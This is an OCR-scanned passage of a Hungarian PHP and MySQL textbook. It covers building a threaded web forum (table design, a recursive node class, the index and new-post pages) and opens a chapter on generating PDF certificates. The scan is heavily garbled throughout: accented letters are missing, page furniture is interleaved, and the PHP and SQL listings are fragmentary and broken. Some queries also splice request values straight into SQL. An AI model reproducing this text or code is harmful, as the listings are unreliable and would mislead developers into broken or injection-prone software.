Az alkalmazs mindssze hrom oldalbl ll. Az egyik egy f indexoldal, ami az egyes tmkra viv hivatkozsokknt mu
tatja a frum sszes tmjt. Ezen az oldalon j tmt indrhatunk, megtekinthetjk a listban szerepl tmkat, illetve a fan
zet gait kibontva s sszezrva megvltoztathaguk az egyes tmk nzett. (Errl hamarosan bvebben beszlnk majd.)
519
Az egy adott tmt megjelent oldalon hozzszlhatunk a tmhoz, illetve megtekinthetjk a korbbi hozzszlsokat. Az
j tma oldalon j topikor indthatunk, amelynek tmaindt hozzszlsa lehet vlasz egy korbbi hozzszlsra, illetve lehet
j, a korbbi hozzszlsoktl fggetlen zenet.
A rendszer folyamatbrjt a 31.2 brn lthatjuk.
Article list
View an article
31.2 bra: A
reply
webesfrumalkalmazsfjijai
Nv
Tpus
Lers
index.php
Alkalmazs
uj_hozzaszolas.php
Alkalmazs
uj_hozzaszolas_tarolasa.php
Alkalmazs
hozzaszolas_megtekintese.php
Alkalmazs
csomopont_osztaly.php
Knyvtr
beillesztett_fuggvenyek.php
Knyvtr
adat_ellenorzo_fuggvenyek.php
Knyvtr
adatbazis fuggvenyek.php
Knyvtr
forum_fuggvenyek.php
Knyvtr
kimeneti_fuggvenyek.php
Knyvtr
adatbazis letrehozasa.sql
SQL
Az adatbzis megtervezse
A frumhoz rt minden hozzszls esetn a kvetkez attribtumokat kell eltrolnunk: a hozzszl nevt, a hozzszls
cmt, rsnak dtumt s magt a szveget. Ezrt hozzszlsok tbljra lesz szksgnk, s minden egyes hozzszlshoz
ltre kell hozni egy hozzaszolas I D nev, egyed azonostt.
Az sszes hozzszlsnl tisztban kell lenni azzal, hogy a hierarchin bell hol helyezkedik el. Az egyes hozzszlsok
gyermekeire vonatkoz informcit eitroihatnnk akr az adott hozzszlssal egytt, m ez a fajta trolsi md elbb-utbb
problmkat okozna az adatbzis felptsben. Mivel minden hozzszls csak egy korbbi hozzszlsta rt vlasz lehet,
egyszerbb a dolgunk, ha a szl hozzszlsra mutat hivatkozst troljuk-vagyis azt, hogy melyik hozzszlsra vlaszol.
A fentiekbl kvetkezen az albbi adatokat kell minden egyes hozzszls esetn feljegyezni:
hozzaszolasiD
szulo
31
520
31.fezet
hozzaszolo
eim
-A hozzszls szerzje
-A hozzszls cme
-A hozzszls rsnak dtuma s ideje
idopont
uzenet
-A hozzszls tartalma
31
ltrehozshoz rengeteg apr lekrdezst kell majd vgrehajtani, ilyen tpus mez esetn igencsak lelassulna az alkalmazs.
A hozzszlsok tartalmnak kln tblban trolsval megtehetjk, hogy csak akkor keressk vissza azokat, amikor a fel
hasznl meg kvnja jelenteni az adott zeneteket.
A rgztett mret rekordokban a MySQL gyorsabban rud keresni, mint a vltoz mretekben. Ha vltoz mret adato
kat kell hasznlnunk, rdemes ezekhez a mezkhz indexeket ltrehozni, s azok segtsgvel keresni az adatbzisban. Egyes
projekteknl azzal jrunk a legjobban, ha a szveges mezt ugyanabban a tblban hagyjuk, mint minden mst, s indexeket
llrunk el azokon az oszlopokon, amelyekre keresni fogunk. m az indexek ellltshoz is idre van szksg, s mvel a f
rumban lv adatok minden bizonnyal llandan vltoznak, jra s jra el kellene lltani az indexeket.
Egy
terulet
nev attribrumot is hozzadunk a tblhoz; erre akkor lesz szksg, ha a ksbbiekben gy dntnk, hogy
ezzel az egy alkalmazssal tbb tmakrben szeretnnk fruroot mkdtetni. Projektnkben ezt nem hasznljuk k, de a jv
re nzve megreremgk a lehetsgt.
A frumhoz (a fenti megfontolsok figyelembe vtelvel) szksges adatbzist a 31.1 pldakdban tallhat SQL kd lltja
el.
31.1 pldakd:
CREATE DATABASE
USE
forum;
forum;
CREATE TABLE
fejlee
NOT NULL,
NOT NULL,
PRIMARY KEY
521
uzenet TEXT
GRANT SELECT,
INSERT,
UPDATE,
DELETE
ON forum.*
TO forum@localhost IDENTIFIED
BY
'jelszo';
-u root
-p <
adatbazis letrehozasa.sql
Meg kell adnunk root jelszavunkat, illetve rdemes lehet a frum felhasznlja szmra bellrorr jelszr valami megfele
lbbre vlrozratni.
Hogy megrtsk, hogyan trolja ez a srruktra a hozzszlsokat s azok egymshoz viszonyrott kapcsolatt, nzzk meg
a 31.3 brt!
Database representation
postid: 1
parent: O
postid: 2
parent: 1
Tree representation
,
postid: 3
parent: 1
postid:4
parent: 2
31
\,
31.3 bra: Az
Az brn jl lthat, hogy az adarbzisban szerepl minden egyes hozzszls szu lo mezje a fasrruktrban felette ta
!lhat hozzszls hozzaszolas ID-jr tartalmazza. A szl hozzszls az, amire az adott hozzszls vlaszol. Ltszik,
hogy a gykr csomponrnak, az l hozzaszalasiO-j hozzszlsnak nincsen szlje. Minden tmaindr hozzszls
ilyen lesz. Az ilyen rpus hozzszlsoknl O (nulla) szerepel majd az adarbzis szulo mezjben.
lunkon. Az brn az sszes tmaindr hozzszlst lthatjuk. Ezek egyike sem korbbi hozzszlsta adott vlasz, mindegyik
a sajt
522
31.fezet
31.4 bra: A
Mr ezen az oldalon is tbb lehetsg kzl vlaszthatunk. A mensorban lv gombokkal j hozzszlst rhatunk, illetve
kibonthatjuk s sszecsukhatjuk a tmk nzett.
Hogy megrtsk, pontosan mit jelentenek ezek a lehetsgek, nzzk meg
az
lthatunk. Ez azt jelenti, hogy ezekre a hozzszlsokra mr vlaszoltak.A vlaszok megjelentshez kattintsunk erre a plusz
jelre! A 31.5 brn lthat szerkezetet gy kaptuk, hogy az egyik pluselre kattintottunk.
31
31.5 bra: A
A pluselre kattintva teht a tmaindt hozzszlshoz rt vlaszokat jelenthetjk meg. Ha ezt megtesszk, a plusel
mnussz vltozik. Ha erre, teht a mnuselre kattintunk, a hozzszlsokat sszecsukjuk, s ismt a kezdeti nzethez jutunk.
A 31.5 brn az egyik vlasz mellett is mnuselet figyelhernk meg. Ez azt jelenti, hogy erre a vlaszra is szlettek vlaszok.
A vlaszok szintje tetszleges mlysgig elmehet, s az egyes vlaszokat a megfelel pluselekre kattintva tekinthetjk meg.
A mensoron lthat.Kibonts" s sszecsuks" gombbal kibonthatjuk, illetve sszecsukhatjuk a hozzszlsok fonalait.
"
A Kibonts" gombra kattints eredmnyt a 31.6 brn lthatjuk.
"
31.6 bra: A
523
Ha kzelebbrl megnzzk a 31.5 s a 31.6 brt, lthatjuk, hogy a parancssorban paramtereket adunk t az index.php
fjlnak. A 31.5 brn az albbi URL lthat:
http:lllocalhostlphp_es_mysqll31_fejezetlindex.php?kibont=5#5
A kd a kvetkezkppen olvassa ezt a sor:"bontsd ki az 5-s hozzaszelasiO-j elemet!" A# egyszeren egy HTML
horgony, ami az ppen kibontott elemet tartalmaz rszre grgeti le az oldalt.
A 31.6 brn gy nz ki
az
URL:
Kibonts s ssz;ecsuks
Hogy lssuk, hogyan jn ltre a hozzszlsok nzete, vizsgljuk meg a 31.2 pldakdban lthat index.php fjl tartalmt!
31.2 pldakd: index. php -A hozzszlsoknak az alkalmazs nyitoldaln lthat nzett elllt kd
<?php
session _start() ;
include ('beillesztett fuggvenyek.php');
ll ellenrizzk,
31
if(!isset($_SESSION['kibontva']))
$ SESSION['kibontva'l = array();
ll ellenrizzk,
==
'mind')
$_SESSION['kibontva' l [$_GET['kibont'lJ
ll ellenorizzk,
true;
if($_GET['osszecsuk'l=='mind')
$_SESSION['kibontva']
else
= array();
unset{$_SESSION['kibontva'] [$_GET['osszecsuk']]);
html fejlec_letrehozasa('Frumtmk');
index eszkozsor_megjelenitese();
ll a tmk fanzetnek megjelenitse
fanezet_megjelenitese($ SESSION['kibontva']);
html_lablec letrehozasa();
?>
524
31. fejezet
arra hasznljuk, hogy oldalrl oldalra lpkedve nyomon tudjuk kvetni, mely fonalakat kell az adott nzetekben kibontani.
Az index. php kd elszr is indt egy munkamenetet, majd - ha ez korbban mg nem trtnt meg- hozzadja mun
kamenet-vlto:;:knt a kibontva vltozt. Ezt kveten ellenrzi, hogy kapott-e kibont vagy osszecsuk paramtert,
majd ennek megfelelen mdostja a kibontott tmbt. Nzzk most meg a kibont paramter kdjt:
if(isset($_GET['kibont' l))
if($_GET['kibont'l == 'mind')
mindet_kibont($ SESSION['kibontva'll;
else
$ SESSION['kibontva'l[$_GET['kibont'll
31
true;
31.3 pldakd: A forum_fuggvenyek. php kny vtr mindet_kibont ()fggvnye- Afggvny a $kibontva tmb
l";
$eredmeny = $kapcsolat->query($lekerdezes);
$szam = $eredmeny->num_rows;
for($i = 0;
$i<$szam;
$i++)
A fggvny adatbzis-lekrdezst futtatva llaptja meg, hogy a frum mely hozzszlsai rendelkeznek vlasszal vagy vlas:;:okkal:
SELECT hozzaszolasiD FROM fejlee WHERE gyermek = l
A lekrdezs ltal visszaadott hozzszlsok hozzaddnak a kibontva tmbhz. Azrt futtatjuk ezt a lekrdezst, hogy
ksbb idt takartsunk meg. Megrehernnk, hogy egyszeren az sszes hozzs:;:lst hozzadjuk a kibontottak listjhoz, de
ksbb feleslegesen pazarolnnk el erforrsokat, amikor megkisrelnnk feldolgozni a nem ltez vlaszokat.
A hozszlsok sszecsuksa pontosan fordtva trtnik:
if(isset($_GET['osszecsuk'l)) {
if($_GET[ 'osszecsuk'l=='mind')
$ SESSION['kibontva'l = array();
else
525
A kibontva tmbbl gy tvolthatjuk el az elemeket, hogy kitrljk. Eltvoltjuk az sszecsukni kvnt beszlgetsfona
lakat, vagy- ha az oldal sszes tmjt ssze akarjuk csukni- kitrljk az egsz tmbt.
Mindez csak elkszlet volt, hogy tudjuk, melyik hozzszlsokat kell megjelenteni, s melyeket nem. A kd f rsze
a fanezet_megjelenitese($_SESSION ['kibontva' l) ; meghvsa, amely a megjelentend hozzszlsok fanzett
lltja el.
A hozzszlsok megjelentse
Vizsgljuk meg a 31.4 pldakdban lthat fanezet_megjelenitese () fggvnyt!
31.4 pldakd: A kimeneti_fuggvenyek. php
$sor
O,
$start
0)
global $tablazat_szelessege;
echo "<table width=\"".$tablazat szelessege."\">";
ll nzzk meg,
31
if($start>O)
$reszlista
else
true;
$reszlista
false;
ll utastsuk a ft,
'',
'',
'',
l,
true,
-1,
$kibontva,
$reszlista);
$fa->megjelenites($sor,
$reszlista);
echo "<ltable>";
526
31. fejezet
<?php
31
public function
__
l l
$kibont)
&&
$gyermek)
for ($szamlalo=O;
if($reszlista
$kibont
$sor = @$eredmeny->fetch_assoc();
l l
$szamlalo++)
true;
else {
$kibont = false;
$this->m_gyereklista[$szamlalol= new csomopont($sor['hozzaszolasiD'l,
$sor['cim'l, $sor['hozzaszolo'l,$sor['datum'l,
$sor['gyermek'l, $kibont, $szint+l, $kibontva,
$reszlista);
Objektumorien
function megjelenites($sor,
$reszlista = false)
ll gy tudjuk,
hogy a foldalon
A hozzszlsok
''+''
''-''
oldaln
hogy legyen.
527
s nincsenek
jelek.
hagyjuk ki a megjelentst!
31
else
echo "lffffff\">";
$i < $this->m_szint;
$i++)
vannak gyermekek,
s ki vannak bontva
ll nincsenek gyermekek,
528
31. fejezet
\" hozzaszolas_megtekintese.php?hozzaszolasiD=".
$this->m_hozzaszolasiD."\">".
$this->m_cim." - ".$this->m_hozzaszolo." - ".
datum_formazasa($this->m_datum) ."<la><ltd><ltr>";
ll sorszmll nvelse a vltakoz szn sorok ellltshoz
$sor++;
ll megjelenites fggvny meghvsa a csompont sszes gyermekn
ll egy csompontnak csak akkor lesznek gyermekei a listban,
ha ki van bontva
$szam_gyermek = sizeof($this->m_gyereklista);
for($i
0;
$i<$szam_gyermek;
$i++) {
$sor = $this->m_gyereklista[$i]->megjelenites($sor,
$reszlista);
return $sor;
?>
31
Vegyk szre, hogy a csomopont objektum nem tartalmazza a hozzszls szvegt! Azt ugyanis mindaddig nem szk
sges betlteni, amg a felhasznl a hozz aszolas _ megtekintese.php kdhoz nem jut. Meg kell prblni viszonylag
gyorss tenni ezt a folyamatot, mert a fanzet megjelentshez rengeteg adat kezelsre van szksg, illetve jelents mennyi
sg adatot kell jra kiszmtani az oldal frisstsekor vagy valamelyik gombra kattintskor. Ezeknl a vltozknl az objek
tumorientlt programozsban gyakran alkalmazott elnevezsi szokst kvettk: a vltoznevek m
osztly tagvltozirl van sz. E vltozk tbbsge kzvetlenl az adatbzis fej lec tblja sorainak felel meg. A kt kivtel
az $m_gyereklista s az $m_sz int. Az elbbiben troljuk a hozzszlsra adott vlaszokat. Az $m_szint vltoz
pedig azt trolja, hogy a fastruktrn bell hny szinttel vagyunk lejjebb; erre az adatra a megjelents ltrehozsakor lesz
szksgnk.
A konstruktorfggvny az albbi kddal lltja be a vltozk rtkr:
public function
construct($hozzaszolasiD,
$kibont,
$szint,
$eim,
$kibontva,
$hozzaszolo,
$datum,
$gyermek,
$reszlista)
de ami ennl is fontosabb,
$hozzaszolo;
$this->m_datum = $datum;
$this->m_gyermek =$gyermek;
$this->m_gyereklista = array();
$this->m_szint = $szint;
Amikor a nyitoldalrl a fanezet_megj elenitese () fggvnnyel ellltjuk a gykr csomopont objektumot, lnye
gben egy dummy csompontot hozunk ltre, amelyikhez nincsen hozzszls trstva:
$fa = new csomopont($start,
'',
l,
true,
-1,
$kibontva,
$reszlista);
529
E2: a kdsor egy O (nulla) $hoz:?:aszolasiD-j gykr csompontot hoz ltre. E:?:t arra tudjuk has:?:nlni, hogy megtalljuk
az els snt, azaz tmaindt hozszlsokat, mivel ezeknek nulla szlejk van. A szintjt azrt -l-re lltjuk, mert ez a cso
mpont tnylegesen nem jelenik meg a nzetben. Az els snt hozszlsok s:?:intrtke 0, s a kperny bal szln jelennek
meg. A s:?:intrtk nvekedsvel a hozszlsok jobbra behzva jelennek meg.
A legfontosabb dolog, ami a konstruktorban trtnik, hogy ltrejnnek a csompont gyermek csompontjai. A folyamat
annak ellenrzsvel indul, hogy ki kell-e bontanunk a gyermek csompontokat. Ezt csak akkor nzzk meg, ha a csompont
rendelkezik gyermekekkel, s gy dntttnk, hogy megjelentjk azokat:
if(($reszlista l l $kibont)
&&
$gyermek) {
Ezt kveten kapcsoldunk az adatbhishoz, majd az albbi kddal visszakeressk a gyermek ho:?:szlsokat:
$lekerdezes = "SELECT
$eredmeny = $kapcsolat->query($lekerdezes);
Ezt kveten feltltjk az $m_gyereklista tmbt a csomopont osztly azon pldnyaival, amelyek az ebben
a csomopont objektumban trolt hozszlsra adott vlaszokat tartalmazzk:
for ($szamlalo=O;
if($reszlista
$sor = @$eredmeny->fetch_assoc();
l 1
$szamlalo++)
$kibontva[$sor['hozzaszolasiD']] == true)
$kibont = true;
else
$kibont = false;
$this->m_gyereklista[$szamlalo]= new csomopont($sor['hozzaszolasiD'],$sor['cim'),
$sor['hozzaszolo'],$sor['datum'], $sor['gyermek'], $kibont,
$szint+l, $kibontva, $reszlista);
Ez az utols sor hozza ltre az j csomopont objektumokat; pontosan ugyanazt az eljrst kveti, mint amin az imnt
vgigmentnk, m a fa eggyel alacsonyabb szintjn teszi mindezt. E2: a kd rekurzv rsze: egy szl csompont meghvja
a csomopont konstruktort, sajt hozzaszolas ID-jt adja t szlknt, s szintrtke tadsa eltt eggyel megnveli azt.
Az gy ltrejtt minden csomopont objektum ltrehozza sajt gyermekeit, s ez mindaddig ismtldik, amg el nem fogy
nak a kibontani kvnt vlaszok vagy szintek.
Miurn mindezzel megvagyunk, meghvjuk a gykr csomopont megjelent fggvnyr(a fanezet_megjelenitese ()
fggvnyben):
$fa->megjelenites($sor, $reszlista);
A megj elenites () fggvny elszr is ellenrzi, hogy dummy gykr csompontral ll-e szemben:
if($this->m_szint > -1)
Ezzel megoldhat, hogy a dummy csompont megjelentsrl elrekintsnk. Teljes mrrkben azonban nem kvnjuk r
ugrani a gykr csomponrot. Megjelenteni ugyan nem szeretnnk, de tudatnia kell a gyermekeivel, hogy azoknak meg kell
jelentenik magukat.
A megjelenites () fggvny ezutn elkezdi megrajzolni a hozzszlsokat tartalmaz tblzatot. A maradk mveleti
jel(%) segtsgvel llaprja meg a sor httrsznr (gy fogunk vltakoz szn sorokat kapni):
ll vltakoz szn sorok belltsa
echo "<tr><td bgcolor=\"";
if ($sor%2)
echo ' '#cccccc\''>'';
else
echo "lffffff\">";
Ezt kveten az $m_szint tagvltoz rtkt megvizsglva megllaptja, hogy mennyire kell behznia az adott elemet. Ha
a korbban ltott brkhoz visszalapozunk, lthatjuk, hogy minl mlyebb szinten van egy vlasz, annl jobban be van hzva.
Az albbi kddal programozzuk ezt:
ll a vlaszok szintjknek megfelel mrtk behzsa
for($i = 0;
$i < $this->m_szint;
$i++)
31
530
31.fgezet
A fggvny kvetkez rs:;:e a:;:t llaptja meg, hogy plus:;:- vagy mnuselet, esetleg csupn trk:;:t jelentsen-e meg:
ll + vagy - vagy trkz megjelenitse
f ((!$reszlista) && ($this->m_gyermek) && (sizeof($this->m_gyereklista)))
ll a foldalon vagyunk,
vannak gyermekek,
s ki vannak bontva
ll nincsenek gyermekek,
31
A fentieket olyan kd kveti, amit az sszes csomopont objektum, kztk a gykr is vgrehajt:
ll megjelenites fggvny meghvsa a csompont sszes gyermekn
ll egy csompontnak csak akkor lesznek gyermekei a listban,
ha ki van bontva
$szam_gyermek = sizeof($this->m_gyereklista);
for($i
0;
$i<$szam_gyermek;
$i++)
$sor = $this->m_gyereklista[$i]->megjelenites($sor,
$reszlista);
return $sor;
Ismt rekurzv fggvnyhvssal llunk szemben, am a csompont minden gyermekn meghvdik, hogy azok megjelentsk
magukat. tadjuk nekik az aktulis sor s:;:nt, majd ha mr befejeztk feladatukat, visszakrjk a szninformcit, hogy foly
tatni tudjuk a vltakoz szn sorok megjelentst.
Ennyi trtnik ebben az os<:tlyban. A kd vis:;:onylag sszetett volt. Ha gy gondoljuk, kisrletez:;:nk tovbb az alkalmazs
futtatsval, majd akkor trjnk vissza ehhe<: az rs:;:hez, ha mr jl kiismerjk magunkat frumunk mkdsben!
zszlsra rkezett vlaszokat. A vlaszok ismt fastruktrban jelennek meg, m e:;:ttal teljesen kibontva, brmilyen plusz
vagy mnuszgomb nlkl. Ez azrt trtnhet gy, mert a $reszlista gba kerlnk.
531
S_GET['hozzaszolasiD'];
hozzaszolas lekerese($hozzaszolas!D);
if($hozzaszolas['gyermek'])
echo "<br l><br />";
valaszsorok_megjelenitese();
fanezet_megjelenitese($ SESSION['kibontva'],
O,
$hozzaszolasiD);
31
html lablec_letrehozasa();
?>
\,
<
<l> havn:l
t .lta
:::::.zt1o.ot-2<1
,..,.. ---
Hogytr1lo:eii\M.znlhiCJO..f1
.Vlasz lnde:t
az
adatbzisbL
bl a hozzszlst
function hozzaszolas_lekerese($hozzaszolasiD)
ll lekri az adatbzisbl az adott hozzszlst,
if(!$hozzaszolasiD)
return false;
$kapcsolat
adatbazishoz kapcsolodas();
532
31. fejezet
''' .$hozzaszolasiD.''''';
$eredrneny = $kapcsolat->query($lekerdezes);
if($eredrneny->num_rows!=l)
return false;
$hozzaszolas = $eredrneny->fetch_assoc();
'".$hozzaszolasiD."'";
$kapcsolat->query($lekerdezes);
if($eredrneny2->num_rows>O)
$tartalom = $eredrneny2->fetch_assoc();
if($tartalom)
$hozzaszolas['uzenet']
$tartalom['uzenet'];
return $hozzaszolas;
31
A fggvny a neki radott hozzaszolas I D birtokban kt lekrdezst futtatva visszakeresi a hozzszls fejlct s tartal
mr, sszerakja ezeket egy tmbbe, majd ezt a tmbt adja vissza.
Ezt kveten a hozzaszolas_lekerese () fiiggvny eredmnyeit tadjuk a kimeneti_fuggvenyek. php knyvtr
hozzaszolas_megjelen itese () fiiggvnynek. Ez a fiiggvny pusztn annyit tesz, hogy nmi HTML formzst kvet
j hozzszls rsa
Vgre eljutottunk odig. hogyan kell j hozzszlsokat rni a frumhoz. A felhasznlk ktflekppen tehetik meg ezt: az
egyik mdszer az, ha az indexoldalon az "j hozzszls" gombra kattintanak, a msik pedig az, hogy a hozzaszolas_
Ezek a mveletek mind az uj_hozzaszolas. php cm kdot hvjk meg. azonban eltr paramterekkel teszik ezt.
A 31.8 brn a.Vlasz" gombra kattintssal meghvott uj_hozzaszolas. php kd kimenett lthatjuk.
.j hozzszlsr' kattintunk,
az
az
533
az
a levelez s hrolvas alkalmazsok tbbsgnl mr megszokhattuk. Harmadsorban szrevehetjk, hogy a hozzszls cme
alaprtelmezsben megegyezik az eredeti hozzszlsval, csak kapott egy Re: eltagot.
Nzzk meg most az ezt a kimenetet elllt, a 31.8 pldakdban olvashat kdot!
31.8 pldakd: uj_hoz zaszolas . php
<?php
include ('beillesztett fuggvenyek.php');
$eim = $_POST['cim'];
$hozzaszolo = $_POST['hozzaszolo'];
$uzenet = $_POST['uzenet'];
if(isset($_GET['szulo']))
$_GET['szulo'];
$szulo
else
{
$ POST['szulo' J;
$szulo
31
if(! $terulet)
$terulet = l;
\.
if(!$hiba)
if(! $szulo)
$szulo = 0;
if(!$eim)
$eim = 'Uj hozzaszolas';
else
ll Re:
hozzfzse
if(strstr ($eim,
$eim = 'Re:
'Re:
false)
')
' . $eim;
ll ellenrizzk,
$eim = substr($cim,
O,
20);
$terulet,
$eim,
$uzenet,
if($hiba)
echo "<p>Hozzszlst nem troltuk el.<lp>
<p>Krjk,
ellenrizze,
majd
$hozzaszolo);
5 34
31. fejezet
prblja jra!<lp>";
Az indul belltsok utn az uj_hozzaszolas. php kd ellenrzi, hogy a szl rtke O (nulla) vagy ms. Ha O, akkor
j tmt indtunk, s egy kis tovbbi munkra van szksg.
Ha vlaszrl van sz (a $szulo egy meglv hozzszls hozzaszalasi D-ja), a kd megy tovbb, s felhasznlja a meg
lv zenet cmt s szvegt:
ll hozzszls cmnek lekrse
$eim = hozzaszolas_cimenek_lekerese($szulo);
ll Re:
hozzfzse
if(strstr($cim,
$eim =
'Re:
'Re:
ll ellenrizzk,
false)
$eim = substr($cim,
31
')
'.$eim;
O,
20);
az
idezojel_hozzadasa () fggvnyt hvja meg. Ezeket a forum_ fuggvenyek.php knyvtrban tallhat fggvnyeker
if(!$hozzaszolasiD)
return '';
$kapcsolat->query($lekerdezes);
if($eredmeny->num_rows1=l)
return '';
'''.$hozzaszolasiD.'
'' '';
535
'
'
'''.$hozzaszolasiD.''''';
$eredmeny = $kapcsolat->query($lekerdezes);
if($eredmeny->num_rows>O)
31
\.
function idezojel_hozzadasa($string,
ll
>
'> ')
$minta =
return $minta.str_replace("\n",
"\n$minta",
$string);
Az idezojel_hozzadasa () fggvny talakitja a karakterlncot, hogy az eredeti szveg rninden sora adott szimblum
31.9 bra: Az
Az j hozzszlsRe: MySQL admin - MySQL mgus - 22:15 0912412010 alatt lthat az brn.Ettl eltekim
ve az oldal ugyangy nz ki, mint a mr ltott index. php oldal.
Nzzk meg most a 31.12 pldakdban lthat uj_ hozzaszolas_tarolasa. php fjl kdjt!
536
31. fejezet
$hiba = true;
include ('uj_hozzaszolas.php'};
?>
Mint lthat, igen rvid kdrl van sz. Legfbb feladata az uj_hozzaszolas _tarolasa(} fggvny meghvsa,
amelynek kdjt a 31.13 pldakdban lthatjuk. Az oldal nmagban nemjelent meg kln tartalmat. Ha a trols sikeres,
az
indexoldal fog megjelenni. Ellenkez esetben az uj_hozzaszolas.ph p oldalra jutunk vissza, hogy a felhasznl jbl
31
ll j hozzszls megtiszttsa,
majd trolsa
$hozzaszolas = mindet_tisztit($hozzaszolas};
//ellenrizzk,
if($hozzaszolas['szulo']
=0}
ll ellenrizzk,
tartalom WHERE
$eredmeny = $kapcsolat->query($lekerdezes};
if (! $eredmeny}
return false;
537
if($eredrneny->num_rows>O)
$aktualis_sor = $eredrneny->fetch_array();
return $aktualis sor[Ol;
$lekerdezes
'hozzaszelo'
'terulet' ,
'datum' ,
'eim' ,
'gyermek'
'hozzaszelasiO' )
VALUES
('".$hozzaszolas['szulo'l "',
'".html_entity_decode($hozzaszolas['hozzaszolo'll
"',
'".html_entity_decode($hozzaszolas['cim'l) "',
O,
'".$hozzaszolas['terulet'l."',
now(),
NULL
)";
$eredrneny = $kapcsolat->query($lekerdezes);
if (! $eredrneny)
return false;
31
ll ne feledkezznk meg rla,
'".$hozzaszolas['szulo'l."'";
$eredrneny = $kapcsolat->query($lekerdezes);
if (! $eredrneny)
return false;
ne feledjk,
hogy tbb
$eredrneny = $kapcsolat->query($lekerdezes);
if (! $eredrneny)
return false;
if($eredrneny->num_rows>O)
$aktualis_sor = $eredrneny->fetch_array();
$id = $aktualis sor[Ol;
if ($id)
$lekerdezes = "INSERT INTO tartalom VALUES
($id,
$eredrneny = $kapcsolat->query($lekerdezes);
538
31. fejezet
if
{! $eredmeny)
return false;
return $id;
Hossz, de nem tlsgosan bonyolult fggvnnyel llunk szemben. Csak azrt ilyen tetjedelmes, mert a hozzszls eit
ralsa azt ignyli, hogy sorokat szrjunk be a fej lee s a tartalom tblba, illetve frissrsle a fej lee tblban a szl
hozzszls rekordjt, hiszen annak most mr ltezik gyermeke.
s ezzel a vgre is rtnk webes frumunk kcljnak.
A projekt tovbbfejlesztse
Sokflekppen gazdagthatjuk egy ilyen webes frum funkciit:
Adjuk meg a felhasznlknak a hozzszlsok kztti navigci lehetsgt, hogy adott hozzszlsrl a kvetkez vagy
az elz hozzszlsra, illetve az adott beszlgetsfonalon belli elz vagy kvetkez hozzszlsra ugorhassanak!
Hozzunk ltre adrninisztrtori felletet, ahol j frumokat lehet belltani, illetve trlni rucljuk a rgi hozzszlsokat!
31
Felhasznli hitelests megvalstsval rjk el, hogy csak regisztrlt felhasznJk rudjanak hozzszlsokat rni!
Hozzunk ltre valarnilyen modercis mechanizmust!
Tovbbi fejlesztsi tletekrt tanulmnyozzunk mr mkd frumokat!
Hogyan tovbb:
A Perszanalizlt PDF dokumentumok ellltsa cm 32. fejezetben a PDF formrum hasznlatval ksztnk vonz, platform
tl fggetlenl egyformn nyomtathat s egyszer mdszerekkel nem hamisthat dokumenrumokat. Ez a lehetsg nagy
szalglatot tehet neknk olyan alkalmazsokban, amelyekben pldul szerzdsek online ellltsra lehet szksg.
32
Perszonalizlt PDF dokumentumok
ellltsa
Szolgltatsokat knl oldalakon szksg lehet arra, hogy a felhasznlk ltal megadott adatok ignybe vtelvel automatikusan
kitlttt rlapokat vagy perszanalizlt dokumenrumokat - pldul szerzdseket, leveleket vagy okleveleket - lltsunk el.
A fejezetben olyan alkalmazst fejlesztnk, amellyel a felhasznlk online rtkelhetik rudsukat, majd az eredmnyek alap
jn oklevelet ksztnk szmukra. Munknk sorn kiderl:
hogyan rudunk a PHP karakterlnc-feldolgoz fggvnyeivel felhasznli adatokat bevinni egy sablonba s Rich Text
Forrnat (RTF) dokumenrumot ellltani ebbl,
hogyan lehet hasonl mdszerrel Portable Document Forrnat (PDF) dokumenrumot kszteni,
hogyan tudunk a PHP PDF!ib fggvnyeivel hasonl PDF dokumentumot ellltani.
A projekt ttekintse
Projektnkben adott szm krdsbl ll vizsga el lltjuk oldalunk ltogatit. Ha elegend krdsre helyesen vlaszolnak,
oklevelet llitunk ki, ami tanstja, hogy sikeresen levizsgztak.
Annak rdekben, hogy a szmtgp egyszeren rtkelni tudja a vizsgz teljestmnyt, a krdsekhez tbb vlaszlehe
tsget adunk meg, amelyek kzl a felhasznl kivlaszthatja a helyesnek vltet. Minden krdsre csak egy j vlasz ltezik.
A krdsek meghatrozott szzalkra helyesen vlaszol, vagyis a vizsgt teljest felhasznl oklevelnek fjlformrurna ide
lis esetben:
knnyen megrervezhet,
pixel- s vektorgrafikus kpeket egyarnt tartalmazhat,
kvl minsg nyomatot eredmnyez,
kismret, ezltal knnyen letlthet fjlt ad,
szinte azonnal elllthat,
olcsn elllthat,
brmilyen opercis rendszeren hasznlhat,
nem lehet egyszeren meghamistani vagy mdostani,
megtekintshez s nyomtatshoz nincs szksg specilis szoftverre,
brmely felhasznl szmra egyformn jelenik meg, illetve nyomtathat.
Sok ms dntsnkhz hasonlan valsznleg itt is kompromisszumokra knyszerlnk, hogy a fenti elvrsok kzl mi
nl tbbnek megfelel formtumot talljunk.
Dokumentumformtumok sszehasonltsa
A legfontosabb dnts, amit minl elbb meg kell hoznunk, hogy milyen formrumban kvnjuk az oklevelet tadni. Olyan le
hetsgek kzl vlasztharunk, mint a papralap oklevl, az ASCII szveg, a HTML, a Microsoft Word vagy brmilyen ms
szvegszerkeszt formtuma, a Rich Text formtum, a PostScript s a Portable Document Forrnat (PDF). A fenti elvrsaink
tkrben rdemes az itt felsorolt lehetsgek kzl nhnyat mdegeini s egymssal sszehasonltani.
540
32. fejezet
Papr
A papralap oklevl killtsa nyilvnval elnykkel jr, pldul teljes egszben irnytsunk alatt tarthatjuk az ellltsi fo
lyamatot. Mieltt a vizsgzknak elkldennk az okleveleket, minden esetben pontosan ltjuk, hogyan nz ki a dokumentum.
Radsul nem kell a szoftverek vagy a svszlessg miatt aggdnunk, s a hamisrst megnehezt biztonsgi jelekkel lthatjuk
el az okleveleket.
A papralap oklevl szinte az sszes elvrsunknak megfelel, de nem lehet azonnal s alacsony kltsggel ellltani, illetve
elkldeni. A vizsgz tartzkodsi helytl fggen napokba vagy akr hetekbe is telhet, amg postai ton eljuttatjuk hozz
a hn htott oklevelet.
Minden egyes oklevl nyomtatsrt s postzsrt kifizethetnnk pr szz forintot, de taln mg ennl is tbbe kerlne az
oklevelek ellltsra fordtott munka. Az automatikus s elektronikus kiklds sokkal olcsbb lehet.
ASCII
A dokumentumok ASCII formtumban vagy egyszer szvegknt trtn elkldse is szmos elnnyel jr. Ezek egyike, hogy
a kompatibilits nem okoz problmt. Alacsony svszlessg is elegend, gy kltsge nem jelents. Az ilyen egyszer doku
mentumok dizjnja knnyen megtervezhet, s a kd is gyorsan ellltja ket.
Ha azonban ASCII fjlt mutatunk meg ltogatinknak, nem igen tudjuk ellenrzsnk alatt tartani, hogy miknt fog meg
